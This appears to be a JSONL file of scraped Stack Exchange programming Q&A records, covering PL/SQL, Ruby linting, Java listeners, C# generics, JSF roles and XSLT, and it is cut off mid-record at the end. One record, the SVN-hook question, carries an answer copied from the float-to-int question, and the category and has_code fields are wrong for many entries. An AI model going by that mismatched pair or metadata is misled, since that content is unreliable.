{"id": "hf_e7c540c88aca", "question": "<p>Can PL/SQL procedure in Oracle know it's own name?</p>\n\n<p>Let me explain:</p>\n\n<pre><code>CREATE OR REPLACE procedure some_procedure is\n    v_procedure_name varchar2(32);\nbegin\n    v_procedure_name := %%something%%;\nend;\n</code></pre>\n\n<p>After <code>%%something%%</code> executes, variable <code>v_procedure_name</code> should contain 'SOME_PROCEDURE'. It is also OK if it contains <code>object_id</code> of that procedure, so I can look up name in <code>all_objects</code>.</p>\n", "question_body": "", "answer": "Try:\n```\n```\nv_procedure_name := $$PLSQL_UNIT;\n```\n```\nThere's also $$PLSQL_LINE if you want to know which line number you are on.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:13.584154"}
{"id": "hf_104d45d2665d", "question": "<p>Does Ruby have any tools along the lines of <a href=\"http://pypi.python.org/pypi/pylint\" rel=\"noreferrer\">pylint</a> for analyzing source code for errors and simple coding standards?</p>\n\n<p>It would be nice if it could be integrated with <a href=\"http://cruisecontrolrb.thoughtworks.com/\" rel=\"noreferrer\">cruisecontrolrb</a> for continuous integration.</p>\n\n<p>Or does everyone write such good tests that they don't need source code checkers!</p>\n", "question_body": "", "answer": "One recently-updated interesting-looking tool is\nRuby Object Oriented Design Inferometer\n- roodi for short. It's at v1.3.0, so I'm guessing it's fairly mature.\nI haven't tried it myself, because my code is of course already beyond reproach (hah).\nAs for test coverage (oh dear, I haven't tried this one either) there's\nrcov\nAlso (look, I am definitely going to try some of these today. One at least) you might care to take a look at\nflog and flay\nfor another style checker and a refactoring candidate finder.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:13.608741"}
{"id": "hf_fc91a6845aac", "question": "<p>I have several init.d scripts that I'm using to start some daemons. Most of these scripts I've found on the internet and they all use start-stop-daemon. My understanding is that \"start-stop-daemon\" is a command that is specific to Linux or BSD distros and is not available on Solaris.</p>\n\n<p>What is the best way to translate my init.d scripts from Linux to Solaris? Is there a command equivalent to start-stop-daemon that I can use, roughly?</p>\n\n<p>Since I'm not much of a Solaris user, I'm willing to admit upfront that I don't even know if my question is inherently invalid or not.</p>\n", "question_body": "", "answer": "start-stop-daemon is a Linux thing, and not used that much on Solaris. I guess you can port the command though, if you want to reuse your init scripts.\nOtherwise it depends on what version of Solaris you are using. Starting with Solaris 10 and also OpenSolaris they use a new startup script framework \"Solaris Service Management Facility\", which you configure with the commands\n```\nsvcs\n```\n,\n```\nsvccfg\n```\nand\n```\nsvcadm\n```\n.\nSee\nhttp://www.oracle.com/technetwork/server-storage/solaris/overview/servicemgmthowto-jsp-135655.html\nfor more information.\nFor older Solaris releases most init scripts are written in pure shell without any helper commands like start-stop-daemon.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:13.646038"}
{"id": "hf_fc7b4fd680c8", "question": "<p>I need a member of my class to be a Control, and for it to implement an interface we define.</p>\n\n<p>If I declare it like this...</p>\n\n<pre><code>public class MyClass\n{\n    public Control MyMember;\n}\n</code></pre>\n\n<p>... then I don't get the interface methods, but if I declare it like this...</p>\n\n<pre><code>public class MyClass\n{\n    public IMyInterface MyMember;\n}\n</code></pre>\n\n<p>...then I don't get the Control methods.  Is there a way to specify that MyMember must be initialised to a type that inherits from both?  I can't find one on MSDN.  Something like...</p>\n\n<pre><code>public class MyClass\n{\n    public Control : IMyInterface MyMember;\n}\n</code></pre>\n\n<p>... or  ...</p>\n\n<pre><code>public class MyClass\n{\n    public Control MyMember : IMyInterface;\n}\n</code></pre>\n\n<p>... except that neither of those work.  Can I specify interfaces when I declare a member, and if so, how?</p>\n", "question_body": "", "answer": "Use the power of inheritance on the interface\n```\n```\npublic interface IMyInterface : Control\n{\n  ..\n}\n```\n```\nNow you say you want a control with some special methods.\nEDIT:\nTcKs is of course right.. you can't inherit an interface from a concrete class.\nOne way of solving this problem could be to extend the interface with a property or method that returns a control.\nSample:\n```\n```\npublic interface IMyInterface \n{\n  Control Control { get; }\n\n  [..rest of the definition..]\n}\n```\n```\nand implement it like that:\n```\n```\nclass MyControl : Control, IMyInterface\n{\n  public Control Control { get { return this; } }\n\n  [..rest of the implementation..]\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:13.722981"}
{"id": "hf_667c9f67b7c9", "question": "<p>I'm writing a ruby program that executes some external command-line utilities. How could I mock the filesystem from my rspec tests so that I could easily setup some file hierarchy and verify it after testing. It would also be best to be implemented in ram so that tests would run quickly. </p>\n\n<p>I realize that I may not find a portable solution as my external utilities are native programs interacting directly with operating system file services. Linux is my primary platform and solution for that would suffice.</p>\n", "question_body": "", "answer": "Maybe this won't answer your question directly, but in such cases I tend to create a temporary directory during test setup and remove it on teardown. Of course you also have to ensure the application writes to this temporary directory. I always have a configuration option defining destination directory that I can overwrite during testing.\nWhen it comes to assertions I use plain\n```\nFile.exist?\n```\nor\n```\nFile.directory?\n```\n, but of course you can create your own wrappers around it. If you need some initial state you can build a directory that can be used as a fixture and will be copied to the temporary direcory during test setup.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:13.764813"}
{"id": "hf_d46a0fa2310b", "question": "<p>I am trying to use Ganymede CDT to index our large codebase. It is painfully slow, can take a whole night to index the C++ files. Same project takes only 5 seconds to index with exuberant ctags 5.7.</p>\n\n<p>Is there some way to find what the root of the problem is and to speed it up?\nMaybe turn on logging in CDT, or some obscure option somewhere that I missed?</p>\n", "question_body": "", "answer": "Do you know if this is a regression from 5.0.0? In that case you should definitely open a bugreport.\nIs all of your code in the same project? That may have an impact.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:13.809955"}
{"id": "hf_314a0143126d", "question": "<p>I am trying to create a Key Listener in java however when I try </p>\n\n<pre><code>KeyListener listener = new KeyListener();\n</code></pre>\n\n<p>Netbeans is telling me that KeyListener is abstract;cannot be instantiated. I know that I am missing some other piece of this key listener, but since this is my first time using a key listener i am unsure of what else i need. Why is it telling me this?</p>\n\n<p>Thanks,</p>\n\n<p>Tomek</p>\n", "question_body": "", "answer": "```\nKeyListener\n```\nis an interface - it has to be implemented by something. So you could do:\n```\n```\nKeyListener listener = new SomeKeyListenerImplementation();\n```\n```\nbut you can't instantiate it directly. You\ncould\nuse an anonymous inner class:\n```\n```\nKeyListener listener = new KeyListener()\n{\n    public void keyPressed(KeyEvent e) { /* ... */ }\n\n    public void keyReleased(KeyEvent e) { /* ... */ }\n\n    public void keyTyped(KeyEvent e) { /* ... */ }\n};\n```\n```\nIt depends on what you want to do, basically.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:13.847365"}
{"id": "hf_3c843978e891", "question": "<p>In the application there is a dialog where only numeric string entries are valid. Therefore I would like to set the numeric keyboard layout.</p>\n\n<p>Does anyone know how to simulate key press on the keyboard or any other method to change the keyboard layout?</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "You can use the InputModeEditor:\n```\n```\nInputModeEditor.SetInputMode(textBox1,InputMode.Numeric);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:13.871814"}
{"id": "hf_35526ba05248", "question": "<p>Is there any open source Object Database available? I would like to have a look at the source code and see how stuffs are implemented.</p>\n", "question_body": "", "answer": "http://www.zope.org/Wikis/ZODB\nis the first coming to mind, but here's a list of both commercial and open source object databases:\nhttp://www.odbms.org/vendors.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:13.935585"}
{"id": "hf_b2331b287cab", "question": "<p>What is meant by using an explicit memory fence?</p>\n", "question_body": "", "answer": "In my experience it refers to a\nmemory barrier\n, which is an instruction (explicit or implicit) to synchronize memory access between multiple threads.\nThe problem occurs in the combination of modern agressive compilers (they have amazing freedom to reorder instructions, but usually know nothing of your threads) and modern multicore CPUs.\nA good introduction to the problem is the \"\nThe 'Double-Checked Locking is Broken' Declaration\n\". For many, it was the wake-up call that there be dragons.\nImplicit full memory barriers are usually included in platform thread synchronization routines, which cover the core of it. However, for lock-free programming and implementing custom, lightweight synchronization patterns, you often need just the barrier, or even a one-way barrier only.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:13.973104"}
{"id": "hf_c07123cb60f0", "question": "<p>When I add an assembly reference to a project in Visual Studio 8 the Aliases property, of that reference, is set to \"global\".  What is this property good for and why is it set to global?</p>\n\n<p>MSDN tells me that this is a list of aliases for the assembly but not why I might want to use this property or why most are aliased as \"global\".</p>\n\n<p><a href=\"http://msdn.microsoft.com/en-us/library/vslangproj80.reference3.aliases.aspx\" rel=\"noreferrer\">MSDN reference</a></p>\n", "question_body": "", "answer": "Search for \"\nextern alias\n\"; it is a very rarely used feature that is only needed to disambiguate between two dlls that contribute the same types (for example, two different versions of the same assembly, or two assemblies that have a class which shares a fully-qualified-name).\n\"global\" is the default. For example, if you have a class called\n```\nFoo.System\n```\n, you can unambiguously refer to the main\n```\nSystem\n```\nnamespace via\n```\nglobal::System\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:13.998000"}
{"id": "hf_64d046cedfce", "question": "<p>StackOverflow user jolson had a very nice piece of code that exemplifies how one can register menthods without using strings, but expression trees <a href=\"https://stackoverflow.com/questions/9033/hidden-features-of-c#52998\">here</a>.</p>\n\n<p>Is it possible to have something similar for properties instead of methods? To pass a property (not the name of the property) and inside the method to obtain the property name?</p>\n\n<p>Something like this:</p>\n\n<pre><code>\n    RegisterMethod(p => p.Name)\n\n    void RegisterMethod(Expression??? propertyExpression) where T : Property ???\n    {\n        string propName = propertyExpression.Name;\n    }\n</code></pre>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "You can write something along this:\n```\n```\nstatic void RegisterMethod<TSelf, TProp> (Expression<Func<TSelf, TProp>> expression)\n{\n    var member_expression = expression.Body as MemberExpression;\n    if (member_expression == null)\n        return;\n\n    var member = member_expression.Member;\n    if (member.MemberType != MemberTypes.Property)\n        return;\n\n    var property = member as PropertyInfo;\n    var name = property.Name;\n\n    // ...\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:14.040367"}
{"id": "hf_ac9c623b2ea8", "question": "<p>I want to do the inverse of <a href=\"http://www.manpagez.com/man/1/sort/\" rel=\"nofollow noreferrer\">sort(1)</a> : randomize every line of <strong>stdin</strong> to <strong>stdout</strong> in Perl. </p>\n", "question_body": "", "answer": "This perl snippet does the trick :\n```\n```\n#! /usr/bin/perl\n# randomize cat\n\n# fisher_yates_shuffle code copied from Perl Cookbook \n# (By Tom Christiansen & Nathan Torkington; ISBN 1-56592-243-3)\n\nuse strict;\n\nmy @lines = <>;\nfisher_yates_shuffle( \\@lines );    # permutes @array in place\nforeach my $line (@lines) {\n    print $line;\n}\n\n# fisher_yates_shuffle( \\@array ) : generate a random permutation\n# of @array in place\nsub fisher_yates_shuffle {\n    my $array = shift;\n    my $i;\n    for ($i = @$array; --$i; ) {\n        my $j = int rand ($i+1);\n        next if $i == $j;\n        @$array[$i,$j] = @$array[$j,$i];\n    }\n}\n\n__END__\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:14.065982"}
{"id": "hf_878bbb422c89", "question": "<p>Is there a way to find all web pages that implement a specific master page in Visual Studio?</p>\n\n<p>I'm looking for a shortcut like shift F12 that will find all usages of a master page. When I do it on the master page class name it only takes me to the design view instead of showing all pages that use it.</p>\n\n<p>I do have Resharper if there is something in there that will help.</p>\n\n<p>I know that I can use the Find dialog but that is not as nice.</p>\n", "question_body": "", "answer": "That would be\nvery\nhard to do. You can set master pages in the aspx-files, web.config or in the Page_PreInit event, which make it impossible to know exactly which master page is going to be used.\nWhat MasterPage to you think is used here?\n```\n```\nprotected void Page_PreInit(object o)\n{\n  this.Master = GetMasterFromDataBase(HttpContext.Current.User.Username);\n}\n```\n```\nAs you can see, there is no way to be sure which master page is really used.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:14.140560"}
{"id": "hf_d744e380d8a1", "question": "<p>What options do I have to read the roles of the current user from my JSP pages? I'm aware of the <code>visibleOnUserRole=\"myRole\"</code> attribute on Tomahawk components, but I need roles for a bit more complicated things than simple visibility.</p>\n", "question_body": "", "answer": "The\nExternalContext\nexposes user and role information.\n```\n```\npublic class RolesAccess implements Serializable {\n\n    public String getUserPrincipalName() {\n        FacesContext context = FacesContext.getCurrentInstance();\n        Principal principal = context.getExternalContext().getUserPrincipal();\n        if(principal == null) {\n            return null;\n        }\n        return principal.getName();\n    }\n\n    public String getUser() {\n        FacesContext context = FacesContext.getCurrentInstance();\n        return context.getExternalContext().getRemoteUser();\n    }\n\n    public boolean isManager() {\n        FacesContext context = FacesContext.getCurrentInstance();\n        return context.getExternalContext().isUserInRole(\"manager\");\n    }\n\n}\n```\n```\nIf you're using JSF in servlets, this information maps to the values exposed by the\nHttpServletRequest\n.\nYou can use managed beans to expose values to the view via the\nExpression Language\n.\n```\n```\n<f:view>\n    <h:outputLabel value=\"#{rolesBean.userPrincipalName}\" />\n    <h:outputLabel value=\"#{rolesBean.user}\" />\n    <h:outputLabel value=\"#{rolesBean.manager}\" />\n</f:view>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:14.181801"}
{"id": "hf_eaf5de33844d", "question": "<p>I have a few text boxes and buttons on my form.</p>\n\n<p>Lets say txtBox1 is next to btnSubmit1,\ntxtBox2 is next to btnSubmit2,\ntxtBox3 is next to btnSubmit3.</p>\n\n<p>How can I set the focus on btnSubmit3 when the user starts to type something in txtBox3.\nMeaning..... if a user type in a text box the program will know what button to fire when the user press the enter key.</p>\n", "question_body": "", "answer": "If you use a panel, you should be able to set a defaultbutton. I´m not sure if it´s an win forms application or a web forms application, but this is how you should do it with web forms:\n```\n```\n<asp:Panel id=\"panel1\" runat=\"server\" DefaultButton=\"Button1\">\n   <asp:TextBox id=\"textbox1\" runat=\"server\" />\n   <asp:Button id=\"Button1\" runat=\"server\" Text=\"Button 1\" />\n</asp:Panel>\n\n<asp:Panel id=\"panel2\" runat=\"server\" DefaultButton=\"Button2\">\n   <asp:TextBox id=\"textbox2\" runat=\"server\" />\n   <asp:Button id=\"Button2\" runat=\"server\" Text=\"Button 2\" />\n</asp:Panel>\n\n<asp:Panel id=\"panel3\" runat=\"server\" DefaultButton=\"Button3\">\n   <asp:TextBox id=\"textbox3\" runat=\"server\" />\n   <asp:Button id=\"Button3\" runat=\"server\" Text=\"Button 3\" />\n</asp:Panel>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:14.206764"}
{"id": "hf_b782625c37aa", "question": "<p>Is anybody using JSON.NET with nHibernate?  I notice that I am getting errors when I try to load a class with child collections.</p>\n", "question_body": "", "answer": "Are you getting a circular dependancy-error? How do you ignore objects from serialization?\nSince lazy loading generates a proxy-objects, any attributes your class-members have will be lost. I ran into the same issue with Newtonsoft JSON-serializer, since the proxy-object didn't have the [JsonIgnore] attributes anymore.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:14.283764"}
{"id": "hf_bb44b3c8eac1", "question": "<p>I'm trying to implement a <code>KeyListener</code> for my <code>JFrame</code>. On the constructor, I'm using this code:</p>\n\n<pre><code>System.out.println(\"test\");\naddKeyListener(new KeyListener() {\n    public void keyPressed(KeyEvent e) { System.out.println( \"tester\"); }\n\n    public void keyReleased(KeyEvent e) { System.out.println(\"2test2\"); }\n\n    public void keyTyped(KeyEvent e) { System.out.println(\"3test3\"); }\n});\n</code></pre>\n\n<p>When I run it, the <code>test</code> message comes up in my console. However, when I press a key, I don't get any of the other messages, as if the <code>KeyListener</code> was not even there.</p>\n\n<p>I was thinking that it could be because the focus is not on the <code>JFrame</code><br>\nand so they <code>KeyListener</code> doesn't receive any events.  But, I'm pretty sure it is.</p>\n\n<p>Is there something that I am missing?</p>\n", "question_body": "", "answer": "Hmm.. what class is your constructor for? Probably some class extending JFrame? The window focus should be at the window, of course but I don't think that's the problem.\nI expanded your code, tried to run it and it worked - the key presses resulted as print output. (run with Ubuntu through Eclipse):\n```\n```\npublic class MyFrame extends JFrame {\n    public MyFrame() {\n        System.out.println(\"test\");\n        addKeyListener(new KeyListener() {\n            public void keyPressed(KeyEvent e) {\n                System.out.println(\"tester\");\n            }\n\n            public void keyReleased(KeyEvent e) {\n                System.out.println(\"2test2\");\n            }\n\n            public void keyTyped(KeyEvent e) {\n                System.out.println(\"3test3\");\n            }\n        });\n    }\n\n    public static void main(String[] args) {\n        MyFrame f = new MyFrame();\n        f.pack();\n        f.setVisible(true);\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:14.309119"}
{"id": "hf_fabf06a72b48", "question": "<p>Total newbie question but this is driving me mad! \nI'm trying this:</p>\n\n<pre><code>myInt = [myFloat integerValue]; \n</code></pre>\n\n<p>but I get an error saying essentially integerValue doesn't work on floats.  </p>\n\n<p>How do I do it?</p>\n", "question_body": "", "answer": "what's wrong with:\n```\n```\nint myInt = myFloat;\n```\n```\nbear in mind this'll use the default rounding rule, which is towards zero (i.e. -3.9f becomes -3)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:14.392059"}
{"id": "hf_9bca2f052483", "question": "<p>Here's the deal - I want a way to figure out specifically which methods were touched or changed within the last milestone/iteration so that the methods' Javadoc is checked for correct content, especially for the public API methods.</p>\n\n<p>Any ideas on how to do this, perhaps with an SVN hook?</p>\n", "question_body": "", "answer": "what's wrong with:\n```\n```\nint myInt = myFloat;\n```\n```\nbear in mind this'll use the default rounding rule, which is towards zero (i.e. -3.9f becomes -3)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:14.416609"}
{"id": "hf_bb0bf8dba5ca", "question": "<p>I have an invokeworkflow activity inside a replicator activity. The workflow that I'm trying to invoke requires 2 parameters to be passed to it, an integer and a string parameters, and these should be passed to the workflow by the replicator activity. Any ideas on how this could be done?</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "You can declare two properties in the target workflow like this:\n```\n```\npublic static readonly DependencyProperty MyIntProperty =\n        DependencyProperty.Register(\"MyInt\", typeof(int), typeof(Workflow3));\n    public static readonly DependencyProperty MyStringProperty =\n        DependencyProperty.Register(\"MyString\", typeof(string), typeof(Workflow3));\n\n    public int MyInt\n    {\n        get { return (int)GetValue(MyIntProperty); }\n        set { SetValue(MyIntProperty, value); }\n    }\n\n    public string MyString\n    {\n        get { return (string)GetValue(MyStringProperty); }\n        set { SetValue(MyStringProperty, value); }\n    }\n```\n```\nAfter that, if you check the Properties tab of the\n```\nInvokeWorkflowActivity\n```\nyou will see the two properties in the\n```\nParameters\n```\ncategory.\nYou can either provide constant values or you can bind them to any property of the hosting workflow.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:14.440124"}
{"id": "hf_061e9ba3b622", "question": "<p>I have A $param that I am passing into a template. I wish to use the value of this parameter as class name for a div. The class is not taking the value of the parameter but taking the parameter name (in the html page it is $param). Is there any way I can use the value of a parameter as a class name?</p>\n", "question_body": "", "answer": "The following should work:\n```\n```\n<div>\n<xsl:attribute name=\"class\">\n<xsl:value-of select=\"$param\"/>\n</xsl:attribute>\n</div>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:14.476455"}
{"id": "hf_1c9cce78e4e7", "question": "<p>How to get to know DNS name of the server where ASP.NET application is run?</p>\n\n<p>I want to get string \"www.somehost.com\" if my application URL is <a href=\"http://www.somehost.com/somepath/application.aspx\" rel=\"nofollow noreferrer\">http://www.somehost.com/somepath/application.aspx</a></p>\n\n<p>Is there some property of Server, Contex, Session or Request objects for this?</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "The HTTP_HOST server variable can give you what you need.\n```\n```\nRequest.ServerVariables(\"HTTP_HOST\")\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:14.500640"}
{"id": "hf_509a1e76c0be", "question": "<p>I need a Javascript application that, when run, prompts a password to be entered, and if the password is correct, the script causes the webpage to close. If the password is incorrect, the script prompts for the password to be entered again.</p>\n\n<p>I'm planning on loading this script onto my cell phone, which doesn't have a password-protected keylock feature.</p>\n", "question_body": "", "answer": "Ok, we can have two approuches.\nWe can all read javascript, so if the person actually open your code he will see the password.\nBy ajax, check the password in a specific page.\n```\n```\nfunction passWrdAPI() {\n    this.getHX = function() {\n        var hx;\n        try {\n            hx = new XMLHttpRequest();\n        }\n        catch(e) {\n            try {\n                hx = new ActiveXObject(\"Microsoft.XMLHttp\");\n            }\n            catch(ex) {\n                hx = new ActiveXObject(\"Msxml2.XMLHttp\");\n            }\n        }\n        return hx;\n    }\n\n    this.password = \"mypass\";\n    this.checkPwd = function(pass) {\n        if (pass != this.password) {\n            // Or close or redirect\n            alert('Wrong!');\n\n            window.close(); //or\n            location.href = 'http://www.google.com';\n        }\n    }\n    this.checkPwdPage(page, pass) {\n        var hx = this.getHX();\n        if (hx != null) {\n            hx.open('GET',page + \"?mypwd=\" + pass);\n            hx.onreadystatechange = function() {\n                if (hx.readyState == 4) {\n                    if (hx.responseText == 'false') {\n                        // Or close or redirect\n                        alert('Wrong!');\n\n                        window.close(); //or\n                        location.href = 'http://www.google.com';\n                    }\n                }           \n            }\n            hx.send(null);\n        }\n        else {\n            alert('error!');\n        }\n    }\n}\n```\n```\nUsage:\n```\nfor the first approach:\n\nvar check = new passWrdAPI();\ncheck.checkPwd(THEPASSENTERED);\n\n for the second:\n\nvar check = new passWrdAPI();\ncheck.checkPwdPage(YOURPAGE, THEPASS);\n```\nI don't know if it will work on your cell phone =/\nSorry if I don't help.. bye bye!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:14.550099"}
{"id": "hf_518e9938afda", "question": "<p>I have a need to reference two different versions of the Sharepoint API dll.  I have a webservice that needs to run under both Sharepoint 2 and Sharepoint 3, but also needs to work with new features provided by the Sharepoint 3 API (Checkout and Content Approval)</p>\n\n<p>What is the best way to acheive this - I'm currently leaning towards having two projects, with the code in a single file shared between the two with various sections of the code compiled in using conditional compilation.</p>\n\n<p>Is there a better way ?</p>\n\n<p>Thanks</p>\n\n<p>Matt</p>\n", "question_body": "", "answer": "You could give an \"extern alias\" a go.\nThis is one of those times when the VB late binding (option strict off) approach works well. Roll on C# 4.0 and\n```\ndynamic\n```\n.\nYou might try writing an interface for the bits you need (in a base library), and write 2 dlls: one referencing each version of the sharepoint dll. For both projects, implement the interface (throwing\n```\nNotSupportedException\n```\nfor the bits you can't do), and load the appropriate dll at runtime? (factory approach)\nJust try it with a single method before you get too absorbed... don't do the whole thing until you know it works for the simplest of simple methods.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:14.575104"}
{"id": "hf_df92bc72ce1e", "question": "<p>I started with <a href=\"http://code.google.com/p/jetlang/\" rel=\"nofollow noreferrer\">jetlang</a> and the basic samples are pretty clear.\nWhat I didn't found is a good sample for using the PoolFiber. Anybody played around\nwith that already? I read also the retlang samples but it seems little bit different there.</p>\n\n<p>Thanks for sharing your thoughts!</p>\n\n<p>Okami</p>\n", "question_body": "", "answer": "Using a PoolFiber and ThreadFiber are nearly the same. The only difference is that the thread pool needs to initialized and used for creating each PoolFiber.\n```\n```\n// create java thread pool.\nExecutorService pool = Executors.newCachedThreadPool();\n//initialize factory with backing pool\nPoolFiberFactory fiberFactory = new PoolFiberFactory(pool);\nFiber fiber = fiberFactory.create();\nfiber.start();\n//use fiber for normal publishing and subscribing.\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:14.643644"}
{"id": "hf_e321438868a2", "question": "<p>Is there a way to create a function/sub signature that accepts an arbitrary typed generic in vb.net.</p>\n", "question_body": "", "answer": "Its like this:\n```\n```\nPublic Function DoThing(Of T)(ByVal value As T)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:14.675144"}
{"id": "hf_02f56f03f892", "question": "<p>I need to bind labels or items in a toolstrip to variables in Design Mode. \nI don't use the buit-in resources not the settings, so the section Data is not useful. I am taking the values out from an XML that I map to a class.</p>\n\n<p>I know there are many programs like: \n<a href=\"http://www.jollans.com/tiki/tiki-index.php?page=MultilangVsNetQuickTourForms\" rel=\"nofollow noreferrer\">http://www.jollans.com/tiki/tiki-index.php?page=MultilangVsNetQuickTourForms</a>\nbut they work with compiled resx. I want to use not compiled XML.</p>\n\n<p>I know that programatically i can do it, i create a method (for example, UpdateUI()), and there I assign the new values like this:\nthis.tsBtn.Text=Class.Texts.tsBtnText;</p>\n\n<p>I would like something i could do from Design Mode or a more optimized way than the current one. Is there any Custom Control out there or Extension?</p>\n", "question_body": "", "answer": "Try with inheriting basic win controls and override OnPaint method. Example bellow is a button that has his text set on paint depending on value contained in his Tag property (let suppose that you will use Tag property to set the key that will be used to read matching resource). Then you can find some way to read all cache resource strings from xml files (e.g. fictional MyGlobalResources class.\n```\n```\npublic class LocalizedButton : Button\n{\n    protected override void 